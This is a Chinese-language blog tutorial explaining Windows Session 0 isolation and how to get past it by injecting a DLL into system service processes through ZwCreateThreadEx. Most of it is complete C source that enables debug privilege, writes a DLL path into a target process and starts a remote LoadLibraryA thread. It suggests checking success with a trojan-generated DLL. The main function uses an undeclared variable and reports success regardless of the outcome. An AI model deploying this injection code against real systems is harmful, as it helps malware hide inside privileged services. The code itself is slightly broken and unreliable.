突破SESSION 0隔离的远程线程注入

2024/01/19 bypass 共 4697 字,约 14 分钟

突破SESSION 0隔离的远程线程注入

突破SESSION 0隔离的远程线程注入

一、Session介绍

在Windows XP、Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Session)运行,而这个会话是由第一个登录到控制台的用户启动的。该会话就叫做Session 0。

在Windows Vista之前,Session 0不仅包含服务,也包含标准用户应用程序。

将服务和用户应用程序一起在Session 0中运行会导致安全风险,因为服务会使用提升后的权限运行,而用户应用程序使用用户特权(大部分都是非管理员用户)运行,这会使得恶意软件以某个服务为攻击目标,通过“劫持”该服务,达到提升自己权限级别的目的。

从Windows Vista开始,只有服务可以托管到Session 0中,用户应用程序和服务之间会被隔离,并需要运行在用户登录到系统时创建的后续会话中。例如第一个登录的用户创建 Session 1,第二个登录的用户创建Session 2,以此类推

二、实现原理

ZwCreateThreadEx函数可以突破SESSION 0 隔离,将DLL注入到SESSION 0 隔离的系统服务进程中。

CreateRemoteThread底层实际上也是通过ZwCreateThreadEx函数实现线程创建的。CreateRemoteThread注入系统进程会失败的原因是因为调用ZwCreateThreadEx创建远程线程时,第七个参数CreateThreadFlags为1。

使用CreateRemoteThread注入失败DLL失败的关键在第七个参数CreateThreadFlags, 他会导致线程创建完成后一直挂起无法恢复进程运行,导致注入失败。而想要注册成功,把该参数的值改为0即可。

由于在ntdll.dll中,ZwCreateThreadEx并没有被声明,因此需要使用GetProcAddress导出地址。

三、编码实现

#include "Windows.h"
#include <stdio.h>
 
BOOL ZwCreateThreadExInjectDLL(DWORD dwProcessId, const char* pszDllFileName) {
    HANDLE hProcess = NULL;
    SIZE_T dwSize = 0;
    LPVOID pDllAddr = NULL;
    FARPROC pFuncProcAddr = NULL;
    HANDLE hRemoteThread = NULL;
    DWORD dwStatus = 0;
 
    // 打开进程
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (NULL == hProcess) {
        printf("Error OpenProcess:%d", GetLastError());
        return FALSE;
    }
 
    // 申请内存
    dwSize = 1 + ::lstrlen(pszDllFileName);
    pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    if (pDllAddr == NULL){
        printf("Error VirtualAllocEx:%d", GetLastError());
         return FALSE;
    }
 
    // 写入数据
    if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)) {
        printf("Error WriteProcessMemory:%d", GetLastError());
        return FALSE;
    }
 
#ifdef _WIN64
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown);
#else
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,
        DWORD dw1,
        DWORD dw2,
        LPVOID pUnkown);
#endif
 
    // 加载ntdll.dll
    HMODULE hNtdllDll = LoadLibrary("ntdll.dll");
    if (NULL == hNtdllDll) {
        printf("Error Load 'ntdll.dll':%d", GetLastError());
        return FALSE;
    }
 
    // 获取LoadLibraryA函数地址
    pFuncProcAddr = GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    if (NULL == pFuncProcAddr) {
        printf("Error GetProcAddress 'LoadLibraryW':%d", GetLastError());
        return FALSE;
    }
 
    // 获取ZwCreateThreadEx函数地址
    typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
    if (NULL == ZwCreateThreadEx) {
        printf("Error GetProcAddress 'ZwCreateThreadEx':%d", GetLastError());
        return FALSE;
    }
 
    // 使用ZwCreateThreadEx创建远线程,实现DLL注入
    dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
    if (NULL == hRemoteThread) {
        printf("Error Inject DLL:%u", dwStatus);
        return FALSE;
    }
    CloseHandle(hProcess);
    FreeLibrary(hNtdllDll);
 
    return TRUE;
}
 
// OpenProcess打开高权限的进程需要提权
BOOL EnbalePrivileges(HANDLE hProcess, const char* pszPrivilegesName)
{
     HANDLE hToken = NULL;
     LUID luidValue = { 0 };
     TOKEN_PRIVILEGES tokenPrivileges = { 0 };
     BOOL bRet = FALSE;
     DWORD dwRet = 0;
     // 打开进程令牌并获取进程令牌句柄
     bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
     if (FALSE == bRet)
     {
         printf("OpenProcessToken");
         return FALSE;
     }
     // 获取本地系统的 pszPrivilegesName 特权的LUID值
     bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
     if (FALSE == bRet){
         printf("LookupPrivilegeValue");
         return FALSE;
     }
     // 设置提升权限信息
     tokenPrivileges.PrivilegeCount = 1;
     tokenPrivileges.Privileges[0].Luid = luidValue;
     tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
     // 提升进程令牌访问权限
     bRet = ::AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);
     if (FALSE == bRet){
         printf("AdjustTokenPrivileges");
         return FALSE;
     }
     else{
         // 根据错误码判断是否特权都设置成功
         dwRet = ::GetLastError();
         if (ERROR_SUCCESS == dwRet){
             printf("SUCCESS!!");
             return TRUE;
         }
         else if (ERROR_NOT_ALL_ASSIGNED == dwRet){
             printf("ERROR_NOT_ALL_ASSIGNED");
             return FALSE;
         }
     }
     return FALSE;
 }
 
 
int main() {
    // 提升当前进程令牌权限
    HANDLE hProcess = GetCurrentProcess();
    EnbalePrivileges(hProcess, SE_DEBUG_NAME);
 	// 远线程注入 DLL
#ifndef _WIN64
    const char* dllPath = "E:\\Dll1.dll";
    ZwCreateThreadExInjectDLL(2940, dllPath);
#else    
    const char* dllPath = "E:\\Dll1.dll";
    ZwCreateThreadExInjectDLL(2940, dllPath);
#endif
	if (FALSE == bRet)
	{
		printf("Inject Dll Error.\n");
	}
	printf("Inject Dll OK.\n");
    return 0;
}

在这里无法通过MessageBox判断是否注入成功。由于会话隔离,在系统程序中不能显示程序窗体,也不能用常规方式来建立用户进程。所以这里最好使用马生成的dll来判断DLL是否注入成功。

四、步骤总结

①打开注入进程,获取进程句柄 ②在注入的进程申请内存地址 ③写入内存地址 ④加载ntdll,获取LoadLibraryA函数地址 ⑤获取ZwCreateThreadEx函数地址 ⑥使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入

五、注意事项

①需要使用管理员权限

②由于会话隔离,在系统服务程序里不能显示程序窗体,也不能用常规方式创建用户进程,进程注入dll使用MessageBox,会无法显示

③ZwCreateThreadEx函数在32位和64位系统下,其函数声明中的参数是有区别的,一定要区分开

文档信息

Search

    Table of Contents